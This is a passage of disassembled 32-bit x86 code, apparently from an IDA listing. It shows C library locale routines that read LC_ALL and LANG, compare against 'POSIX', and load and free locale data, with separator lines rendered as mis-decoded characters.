al, al mov edi, ebx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax mov esi, [ebp+var_4C] mov [ebp+esi*4+var_1C], eax mov eax, [ebp+esi*4+var_1C] mov edx, [ebp+var_4C] add eax, ds:dword_806AA8C[edx*4] mov esi, [ebp+var_20] lea esi, [esi+eax+2] mov [ebp+var_20], esi test edx, edx jle short loc_80629E6 cmp [ebp+var_28], 0 jz short loc_80629E6 mov edx, [ebp+arg_4] mov eax, [edx] push eax push ebx call strcmp add esp, 8 test eax, eax jz short loc_80629E6 mov [ebp+var_28], 0 loc_80629E6: ; CODE XREF: sub_8062940+84j ; sub_8062940+8Aj ... mov esi, [ebp+var_4C] inc esi mov [ebp+var_3C], esi cmp [ebp+arg_0], 6 jnz short loc_80629FC mov edx, [ebp+arg_4] mov ebx, [edx+esi*4] jmp short loc_8062A16 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80629FC: ; CODE XREF: sub_8062940+B1j mov esi, [ebp+var_3C] cmp [ebp+arg_0], esi jnz short loc_8062A0C mov edx, [ebp+arg_4] mov ebx, [edx] jmp short loc_8062A16 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062A0C: ; CODE XREF: sub_8062940+C2j mov esi, [ebp+var_3C] mov ebx, dword_80790BC[esi*4] loc_8062A16: ; CODE XREF: sub_8062940+B9j ; sub_8062940+C9j xor al, al mov edi, ebx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax mov edx, [ebp+var_3C] mov [ebp+edx*4+var_1C], eax mov eax, [ebp+edx*4+var_1C] mov esi, [ebp+var_3C] add eax, ds:dword_806AA8C[esi*4] mov edx, [ebp+var_20] lea edx, [edx+eax+2] mov [ebp+var_20], edx test esi, esi jle short loc_8062A6A cmp [ebp+var_28], 0 jz short loc_8062A6A mov esi, [ebp+arg_4] mov eax, [esi] push eax push ebx call strcmp add esp, 8 test eax, eax jz short loc_8062A6A mov [ebp+var_28], 0 loc_8062A6A: ; CODE XREF: sub_8062940+108j ; sub_8062940+10Ej ... add [ebp+var_4C], 2 cmp [ebp+var_4C], 5 jle loc_8062964 cmp [ebp+var_28], 0 jz short loc_8062AFC mov eax, [ebp+var_1C] inc eax push eax call malloc mov [ebp+var_24], eax add esp, 4 test eax, eax jnz short loc_8062AE0 mov edx, [ebp+arg_4] mov eax, [edx] mov edi, offset unk_806AABE mov ecx, 2 mov esi, eax cld test al, 0 repe cmpsb jz short loc_8062ABF mov eax, [edx] mov edi, offset aPosix ; "POSIX" mov ecx, 6 mov esi, eax cld test al, 0 repe cmpsb jnz short loc_8062ACC loc_8062ABF: ; CODE XREF: sub_8062940+168j mov eax, offset unk_806AABC jmp loc_8062C8F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062ACC: ; CODE XREF: sub_8062940+17Dj mov errno, 16h xor eax, eax jmp loc_8062C8F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062AE0: ; CODE XREF: sub_8062940+150j mov edx, [ebp+arg_4] mov edx, [edx] mov eax, [ebp+var_1C] inc eax push eax push edx mov esi, [ebp+var_24] push esi call memcpy jmp loc_8062C8C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062AFC: ; CODE XREF: sub_8062940+13Cj mov edx, [ebp+var_20] push edx call malloc mov [ebp+var_24], eax add esp, 4 test eax, eax jnz short loc_8062B18 xor eax, eax jmp loc_8062C8F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062B18: ; CODE XREF: sub_8062940+1CDj mov ebx, [ebp+var_24] mov [ebp+var_4C], 0 mov [ebp+var_2C], offset dword_806AA8C mov [ebp+var_30], offset dword_806AA8C loc_8062B30: ; CODE XREF: sub_8062940+342j cmp [ebp+arg_0], 6 jnz short loc_8062B44 mov esi, [ebp+var_4C] mov edx, [ebp+arg_4] mov edi, [edx+esi*4] jmp short loc_8062B5E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062B44: ; CODE XREF: sub_8062940+1F4j mov esi, [ebp+var_4C] cmp [ebp+arg_0], esi jnz short loc_8062B54 mov edx, [ebp+arg_4] mov edi, [edx] jmp short loc_8062B5E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062B54: ; CODE XREF: sub_8062940+20Aj mov esi, [ebp+var_4C] mov edi, dword_80790BC[esi*4] loc_8062B5E: ; CODE XREF: sub_8062940+1FFj ; sub_8062940+211j mov edx, [ebp+var_4C] mov eax, ds:dword_806AA34[edx*4] mov esi, [ebp+var_30] mov esi, [esi] push esi push eax push ebx call memcpy add esp, 0Ch mov edx, [ebp+var_2C] add ebx, [edx] mov byte ptr [ebx], 3Dh inc ebx mov esi, [ebp+var_4C] mov eax, [ebp+esi*4+var_1C] push eax push edi push ebx call memcpy add esp, 0Ch add ebx, [ebp+esi*4+var_1C] mov byte ptr [ebx], 3Bh inc ebx mov edi, [ebp+var_4C] inc edi cmp [ebp+arg_0], 6 jnz short loc_8062BB0 mov edx, [ebp+arg_4] mov edx, [edx+edi*4] jmp short loc_8062BC7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062BB0: ; CODE XREF: sub_8062940+263j cmp [ebp+arg_0], edi jnz short loc_8062BC0 mov esi, [ebp+arg_4] mov esi, [esi] mov [ebp+var_34], esi jmp short loc_8062BCA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062BC0: ; CODE XREF: sub_8062940+273j mov edx, dword_80790BC[edi*4] loc_8062BC7: ; CODE XREF: sub_8062940+26Bj mov [ebp+var_34], edx loc_8062BCA: ; CODE XREF: sub_8062940+27Dj mov eax, ds:dword_806AA34[edi*4] mov esi, [ebp+var_30] mov esi, [esi+4] push esi push eax push ebx call memcpy add esp, 0Ch mov edx, [ebp+var_2C] add ebx, [edx+4] mov byte ptr [ebx], 3Dh inc ebx mov eax, [ebp+edi*4+var_1C] push eax mov esi, [ebp+var_34] push esi push ebx call memcpy add esp, 0Ch add ebx, [ebp+edi*4+var_1C] mov byte ptr [ebx], 3Bh inc ebx mov edi, [ebp+var_4C] add edi, 2 cmp [ebp+arg_0], 6 jnz short loc_8062C1C mov edx, [ebp+arg_4] mov edx, [edx+edi*4] jmp short loc_8062C33 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062C1C: ; CODE XREF: sub_8062940+2D0j cmp [ebp+arg_0], edi jnz short loc_8062C2C mov esi, [ebp+arg_4] mov esi, [esi] mov [ebp+var_38], esi jmp short loc_8062C36 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062C2C: ; CODE XREF: sub_8062940+2DFj mov edx, dword_80790BC[edi*4] loc_8062C33: ; CODE XREF: sub_8062940+2D8j mov [ebp+var_38], edx loc_8062C36: ; CODE XREF: sub_8062940+2E9j mov eax, ds:dword_806AA34[edi*4] mov esi, [ebp+var_30] mov esi, [esi+8] push esi push eax push ebx call memcpy add esp, 0Ch mov edx, [ebp+var_2C] add ebx, [edx+8] mov byte ptr [ebx], 3Dh inc ebx mov eax, [ebp+edi*4+var_1C] push eax mov esi, [ebp+var_38] push esi push ebx call memcpy add esp, 0Ch add ebx, [ebp+edi*4+var_1C] mov byte ptr [ebx], 3Bh inc ebx add [ebp+var_2C], 0Ch add [ebp+var_30], 0Ch add [ebp+var_4C], 3 cmp [ebp+var_4C], 5 jle loc_8062B30 mov byte ptr [ebx-1], 0 loc_8062C8C: ; CODE XREF: sub_8062940+1B4j mov eax, [ebp+var_24] loc_8062C8F: ; CODE XREF: sub_8062940+184j ; sub_8062940+198j ... lea esp, [ebp+var_58] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8062940 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8062C9C proc near ; CODE XREF: sub_8062D4C+7ABp ; sub_8062D4C+8EEp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 mov [ebp+var_4], ecx mov eax, [ebp+arg_0] mov edx, dword_80790D4 mov dword_80790D4, eax cmp edx, offset unk_806AABC jz short loc_8062CC1 push edx call free loc_8062CC1: ; CODE XREF: sub_8062C9C+1Dj mov esp, ebp pop ebp retn sub_8062C9C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8062CC8 proc near ; CODE XREF: sub_8062D4C+6E9p ; sub_8062D4C+70Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 mov [ebp+var_4], ecx mov eax, [ebp+arg_0] mov edx, [ebp+arg_4] mov ecx, dword_80790BC[eax*4] mov dword_80790BC[eax*4], edx cmp ecx, offset unk_806AABC jz short loc_8062CF3 push ecx call free loc_8062CF3: ; CODE XREF: sub_8062CC8+23j mov esp, ebp pop ebp retn sub_8062CC8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8062CF8 proc near ; CODE XREF: sub_8062D4C+6DBp ; sub_8062D4C+6FFp ... var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push esi push ebx mov [ebp+var_4], ecx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_4] cmp ds:dword_806AA04[ebx*4], 0 jz short loc_8062D40 mov eax, ds:dword_806AA04[ebx*4] mov esi, [eax] mov [eax], edx cmp ds:dword_806AAA4[ebx*4], 0 jz short loc_8062D31 mov eax, ds:dword_806AAA4[ebx*4] call eax ; _nl_postload_ctype loc_8062D31: ; CODE XREF: sub_8062CF8+2Ej cmp ds:dword_806AA1C[ebx*4], esi jz short loc_8062D40 push esi call _nl_free_locale loc_8062D40: ; CODE XREF: sub_8062CF8+19j ; sub_8062CF8+40j lea esp, [ebp+var_C] pop ebx pop esi mov esp, ebp pop ebp retn sub_8062CF8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8062D4C proc near ; CODE XREF: catopen+6Cp ; libc_nls_init+13p var_50 = byte ptr -50h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 44h push edi push esi push ebx mov ebx, [ebp+arg_0] cmp ebx, 6 ja loc_806360C jnz short loc_8062D6C mov eax, dword_80790D4 jmp short loc_8062D73 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062D6C: ; CODE XREF: sub_8062D4C+15j mov eax, dword_80790BC[ebx*4] loc_8062D73: ; CODE XREF: sub_8062D4C+1Cj cmp [ebp+arg_4], 0 jz loc_8063642 cmp [ebp+arg_4], eax jz loc_8063642 cmp ebx, 6 jnz loc_8063504 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_8062DA7 push offset aLc_all ; "LC_ALL" call getenv mov [ebp+arg_4], eax add esp, 4 loc_8062DA7: ; CODE XREF: sub_8062D4C+49j cmp [ebp+arg_4], 0 jz short loc_8062DB9 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz loc_8062EB4 loc_8062DB9: ; CODE XREF: sub_8062D4C+5Fj xor ebx, ebx nop loc_8062DBC: ; CODE XREF: sub_8062D4C+15Dj mov eax, ds:dword_806AA34[ebx*4] push eax call getenv mov [ebp+arg_4], eax add esp, 4 test eax, eax jz short loc_8062DD8 cmp byte ptr [eax], 0 jnz short loc_8062DE8 loc_8062DD8: ; CODE XREF: sub_8062D4C+85j push offset aLang ; "LANG" call getenv mov [ebp+arg_4], eax add esp, 4 loc_8062DE8: ; CODE XREF: sub_8062D4C+8Aj cmp [ebp+arg_4], 0 jz short loc_8062DF6 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_8062E00 loc_8062DF6: ; CODE XREF: sub_8062D4C+A0j mov eax, dword_80790BC[ebx*4] mov [ebp+arg_4], eax loc_8062E00: ; CODE XREF: sub_8062D4C+A8j mov eax, [ebp+arg_4] mov [ebp+ebx*4+var_18], eax lea edi, [ebx+1] mov eax, ds:dword_806AA34[edi*4] push eax call getenv mov [ebp+arg_4], eax add esp, 4 test eax, eax jz short loc_8062E26 cmp byte ptr [eax], 0 jnz short loc_8062E36 loc_8062E26: ; CODE XREF: sub_8062D4C+D3j push offset aLang ; "LANG" call getenv mov [ebp+arg_4], eax add esp, 4 loc_8062E36: ; CODE XREF: sub_8062D4C+D8j cmp [ebp+arg_4], 0 jz short loc_8062E44 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_8062E4E loc_8062E44: ; CODE XREF: sub_8062D4C+EEj mov eax, dword_80790BC[edi*4] mov [ebp+arg_4], eax loc_8062E4E: ; CODE XREF: sub_8062D4C+F6j mov eax, [ebp+arg_4] mov [ebp+edi*4+var_18], eax lea edi, [ebx+2] mov eax, ds:dword_806AA34[edi*4] push eax call getenv mov [ebp+arg_4], eax add esp, 4 test eax, eax jz short loc_8062E74 cmp byte ptr [eax], 0 jnz short loc_8062E84 loc_8062E74: ; CODE XREF: sub_8062D4C+121j push offset aLang ; "LANG" call getenv mov [ebp+arg_4], eax add esp, 4 loc_8062E84: ; CODE XREF: sub_8062D4C+126j cmp [ebp+arg_4], 0 jz short loc_8062E92 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_8062E9C loc_8062E92: ; CODE XREF: sub_8062D4C+13Cj mov eax, dword_80790BC[edi*4] mov [ebp+arg_4], eax loc_8062E9C: ; CODE XREF: sub_8062D4C+144j mov eax, [ebp+arg_4] mov [ebp+edi*4+var_18], eax add ebx, 3 cmp ebx, 5 jle loc_8062DBC jmp loc_80633ED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062EB4: ; CODE XREF: sub_8062D4C+67j xor al, al mov edi, [ebp+arg_4] cld mov ecx, 0FFFFFFFFh repne scasb mov edi, ecx not edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+var_8], eax mov [ebp+var_C], eax mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_18], eax mov ebx, 6 push 3Bh push eax call strchr mov [ebp+var_3C], eax add esp, 8 test eax, eax jz loc_80633ED lea eax, [edi+3] and al, 0FCh sub esp, eax mov [ebp+var_44], esp push edi mov eax, [ebp+arg_4] push eax mov edx, [ebp+var_44] push edx call memcpy add esp, 0Ch loc_8062F10: ; CODE XREF: sub_8062D4C+2C2j ; sub_8062D4C+2EEj push 3Dh mov esi, [ebp+var_44] push esi call strchr mov [ebp+var_3C], eax add esp, 8 test eax, eax jz loc_8063040 mov [ebp+var_40], 0 sub eax, esi cmp ds:dword_806AA8C, eax jnz short loc_8062F50 mov esi, ds:dword_806AA34 mov edi, [ebp+var_44] mov ecx, eax cld test al, 0 repe cmpsb jz loc_8063000 loc_8062F50: ; CODE XREF: sub_8062D4C+1ECj mov [ebp+var_40], 1 cmp ds:dword_806AA90, eax jnz short loc_8062F75 mov esi, ds:dword_806AA38 mov edi, [ebp+var_44] mov ecx, eax cld test al, 0 repe cmpsb jz loc_8063000 loc_8062F75: ; CODE XREF: sub_8062D4C+211j mov [ebp+var_40], 2 cmp ds:dword_806AA94, eax jnz short loc_8062F96 mov esi, ds:dword_806AA3C mov edi, [ebp+var_44] mov ecx, eax cld test al, 0 repe cmpsb jz short loc_8063000 loc_8062F96: ; CODE XREF: sub_8062D4C+236j mov [ebp+var_40], 3 cmp ds:dword_806AA98, eax jnz short loc_8062FB7 mov esi, ds:dword_806AA40 mov edi, [ebp+var_44] mov ecx, eax cld test al, 0 repe cmpsb jz short loc_8063000 loc_8062FB7: ; CODE XREF: sub_8062D4C+257j mov [ebp+var_40], 4 cmp ds:dword_806AA9C, eax jnz short loc_8062FD8 mov esi, ds:dword_806AA44 mov edi, [ebp+var_44] mov ecx, eax cld test al, 0 repe cmpsb jz short loc_8063000 loc_8062FD8: ; CODE XREF: sub_8062D4C+278j mov [ebp+var_40], 5 cmp ds:dword_806AAA0, eax jnz short loc_8062FF9 mov esi, ds:dword_806AA48 mov edi, [ebp+var_44] mov ecx, eax cld test al, 0 repe cmpsb jz short loc_8063000 loc_8062FF9: ; CODE XREF: sub_8062D4C+299j mov [ebp+var_40], 6 loc_8063000: ; CODE XREF: sub_8062D4C+1FEj ; sub_8062D4C+223j ... cmp [ebp+var_40], 6 jz loc_806360C cmp [ebp+var_40], 5 jg loc_8062F10 push 3Bh inc [ebp+var_3C] mov edx, [ebp+var_3C] push edx call strchr mov edx, [ebp+var_3C] mov esi, [ebp+var_40] mov [ebp+esi*4+var_18], edx add esp, 8 test eax, eax jz short loc_8063040 mov byte ptr [eax], 0 inc eax mov [ebp+var_44], eax jmp loc_8062F10 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063040: ; CODE XREF: sub_8062D4C+1D7j ; sub_8062D4C+2E5j mov [ebp+var_40], 0 mov eax, [ebp+arg_4] lea esi, [esi] loc_806304C: ; CODE XREF: sub_8062D4C+314j mov esi, [ebp+var_40] cmp [ebp+esi*4+var_18], eax jz loc_806360C inc esi mov [ebp+var_40], esi cmp esi, 5 jle short loc_806304C jmp loc_80633ED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8063068: ; CODE XREF: sub_8062D4C+6A6j cmp ds:dword_806AA04[ebx*4], 0 jz loc_80632BC lea eax, [ebp+ebx*4+var_18] push eax push ebx call _nl_load_locale mov [ebp+ebx*4+var_30], eax add esp, 8 test eax, eax jz short loc_80630AC mov eax, [ebp+ebx*4+var_18] push eax mov ecx, ebp call sub_80628F8 mov [ebp+ebx*4+var_18], eax add esp, 4 test eax, eax jnz loc_80633ED dec ebx jmp short loc_80630F4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80630AC: ; CODE XREF: sub_8062D4C+33Ej mov esi, [ebp+ebx*4+var_18] mov edi, offset unk_806AABE mov ecx, 2 cld test al, 0 repe cmpsb jz short loc_80630D6 mov esi, [ebp+ebx*4+var_18] mov edi, offset aPosix ; "POSIX" mov ecx, 6 cld test al, 0 repe cmpsb jnz short loc_80630F4 loc_80630D6: ; CODE XREF: sub_8062D4C+373j cmp [ebp+ebx*4+var_30], 0 jnz loc_80632FD mov eax, ds:dword_806AA1C[ebx*4] mov [ebp+ebx*4+var_30], eax jmp loc_80632FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80630F4: ; CODE XREF: sub_8062D4C+35Cj ; sub_8062D4C+388j ... inc ebx cmp ebx, 5 jg loc_8063616 mov eax, 6 sub eax, ebx and eax, 3 cmp ebx, 6 jge short loc_806318B test eax, eax jz loc_80631CC cmp eax, 1 jle short loc_806318B cmp eax, 2 jle short loc_8063155 cmp ds:dword_806AA04[ebx*4], 0 jz short loc_8063136 mov eax, [ebp+ebx*4+var_30] push eax call _nl_free_locale add esp, 4 loc_8063136: ; CODE XREF: sub_8062D4C+3DBj cmp [ebp+ebx*4+var_18], 0 jz short loc_8063154 cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_8063154 mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_8063154: ; CODE XREF: sub_8062D4C+3EFj ; sub_8062D4C+3F9j inc ebx loc_8063155: ; CODE XREF: sub_8062D4C+3D1j cmp ds:dword_806AA04[ebx*4], 0 jz short loc_806316C mov eax, [ebp+ebx*4+var_30] push eax call _nl_free_locale add esp, 4 loc_806316C: ; CODE XREF: sub_8062D4C+411j cmp [ebp+ebx*4+var_18], 0 jz short loc_806318A cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_806318A mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_806318A: ; CODE XREF: sub_8062D4C+425j ; sub_8062D4C+42Fj inc ebx loc_806318B: ; CODE XREF: sub_8062D4C+3BFj ; sub_8062D4C+3CCj cmp ds:dword_806AA04[ebx*4], 0 jz short loc_80631A2 mov eax, [ebp+ebx*4+var_30] push eax call _nl_free_locale add esp, 4 loc_80631A2: ; CODE XREF: sub_8062D4C+447j cmp [ebp+ebx*4+var_18], 0 jz short loc_80631C0 cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_80631C0 mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_80631C0: ; CODE XREF: sub_8062D4C+45Bj ; sub_8062D4C+465j inc ebx cmp ebx, 5 jg loc_8063616 lea esi, [esi] loc_80631CC: ; CODE XREF: sub_8062D4C+3C3j ; sub_8062D4C+563j cmp ds:dword_806AA04[ebx*4], 0 jz short loc_80631E3 mov eax, [ebp+ebx*4+var_30] push eax call _nl_free_locale add esp, 4 loc_80631E3: ; CODE XREF: sub_8062D4C+488j cmp [ebp+ebx*4+var_18], 0 jz short loc_8063201 cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_8063201 mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_8063201: ; CODE XREF: sub_8062D4C+49Cj ; sub_8062D4C+4A6j lea edi, [ebx+1] cmp ds:dword_806AA04[edi*4], 0 jz short loc_806321B mov eax, [ebp+edi*4+var_30] push eax call _nl_free_locale add esp, 4 loc_806321B: ; CODE XREF: sub_8062D4C+4C0j cmp [ebp+edi*4+var_18], 0 jz short loc_8063239 cmp [ebp+edi*4+var_18], offset unk_806AABC jz short loc_8063239 mov eax, [ebp+edi*4+var_18] push eax call free add esp, 4 loc_8063239: ; CODE XREF: sub_8062D4C+4D4j ; sub_8062D4C+4DEj lea edi, [ebx+2] cmp ds:dword_806AA04[edi*4], 0 jz short loc_8063253 mov eax, [ebp+edi*4+var_30] push eax call _nl_free_locale add esp, 4 loc_8063253: ; CODE XREF: sub_8062D4C+4F8j cmp [ebp+edi*4+var_18], 0 jz short loc_8063271 cmp [ebp+edi*4+var_18], offset unk_806AABC jz short loc_8063271 mov eax, [ebp+edi*4+var_18] push eax call free add esp, 4 loc_8063271: ; CODE XREF: sub_8062D4C+50Cj ; sub_8062D4C+516j lea edi, [ebx+3] cmp ds:dword_806AA04[edi*4], 0 jz short loc_806328B mov eax, [ebp+edi*4+var_30] push eax call _nl_free_locale add esp, 4 loc_806328B: ; CODE XREF: sub_8062D4C+530j cmp [ebp+edi*4+var_18], 0 jz short loc_80632A9 cmp [ebp+edi*4+var_18], offset unk_806AABC jz short loc_80632A9 mov eax, [ebp+edi*4+var_18] push eax call free add esp, 4 loc_80632A9: ; CODE XREF: sub_8062D4C+544j ; sub_8062D4C+54Ej add ebx, 4 cmp ebx, 5 jle loc_80631CC jmp loc_8063616 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80632BC: ; CODE XREF: sub_8062D4C+324j mov eax, [ebp+ebx*4+var_18] push eax mov ecx, ebp call sub_80628F8 mov [ebp+ebx*4+var_18], eax add esp, 4 test eax, eax jnz loc_80633ED xor esi, esi mov edi, offset unk_806AABE mov ecx, 2 cld test al, 0 repe cmpsb jz short loc_80632FD xor esi, esi mov edi, offset aPosix ; "POSIX" mov ecx, 6 cld test al, 0 repe cmpsb jnz short loc_806330C loc_80632FD: ; CODE XREF: sub_8062D4C+38Fj ; sub_8062D4C+3A0j ... mov [ebp+ebx*4+var_18], offset unk_806AABC jmp loc_80633ED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806330C: ; CODE XREF: sub_8062D4C+5AFj inc ebx cmp ebx, 5 jg loc_80633ED mov eax, 6 sub eax, ebx and eax, 3 cmp ebx, 6 jge short loc_8063363 test eax, eax jz short loc_8063380 cmp eax, 1 jle short loc_8063363 cmp eax, 2 jle short loc_806334B cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_806334A mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_806334A: ; CODE XREF: sub_8062D4C+5EFj inc ebx loc_806334B: ; CODE XREF: sub_8062D4C+5E5j cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_8063362 mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_8063362: ; CODE XREF: sub_8062D4C+607j inc ebx loc_8063363: ; CODE XREF: sub_8062D4C+5D7j ; sub_8062D4C+5E0j cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_806337A mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_806337A: ; CODE XREF: sub_8062D4C+61Fj inc ebx cmp ebx, 5 jg short loc_80633ED loc_8063380: ; CODE XREF: sub_8062D4C+5DBj ; sub_8062D4C+69Fj cmp [ebp+ebx*4+var_18], offset unk_806AABC jz short loc_8063397 mov eax, [ebp+ebx*4+var_18] push eax call free add esp, 4 loc_8063397: ; CODE XREF: sub_8062D4C+63Cj lea eax, [ebx+1] cmp [ebp+eax*4+var_18], offset unk_806AABC jz short loc_80633B1 mov eax, [ebp+eax*4+var_18] push eax call free add esp, 4 loc_80633B1: ; CODE XREF: sub_8062D4C+656j lea eax, [ebx+2] cmp [ebp+eax*4+var_18], offset unk_806AABC jz short loc_80633CB mov eax, [ebp+eax*4+var_18] push eax call free add esp, 4 loc_80633CB: ; CODE XREF: sub_8062D4C+670j lea eax, [ebx+3] cmp [ebp+eax*4+var_18], offset unk_806AABC jz short loc_80633E5 mov eax, [ebp+eax*4+var_18] push eax call free add esp, 4 loc_80633E5: ; CODE XREF: sub_8062D4C+68Aj add ebx, 4 cmp ebx, 5 jle short loc_8063380 loc_80633ED: ; CODE XREF: sub_8062D4C+163j ; sub_8062D4C+1A3j ... mov eax, ebx dec ebx test eax, eax jg loc_8063068 lea eax, [ebp+var_18] push eax push 6 mov ecx, ebp call sub_8062940 mov [ebp+var_38], eax add esp, 8 test eax, eax jnz short loc_806341C mov ebx, 0FFFFFFFFh jmp loc_80630F4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806341C: ; CODE XREF: sub_8062D4C+6C1j xor ebx, ebx mov eax, [ebp+ebx*4+var_30] push eax push 0 mov ecx, ebp call sub_8062CF8 mov eax, [ebp+ebx*4+var_18] push eax push 0 mov ecx, ebp call sub_8062CC8 add esp, 10h mov ebx, 1 mov eax, [ebp+ebx*4+var_30] push eax push 1 mov ecx, ebp call sub_8062CF8 mov eax, [ebp+ebx*4+var_18] push eax push 1 mov ecx, ebp call sub_8062CC8 add esp, 10h mov ebx, 2 mov eax, [ebp+ebx*4+var_30] push eax push 2 mov ecx, ebp call sub_8062CF8 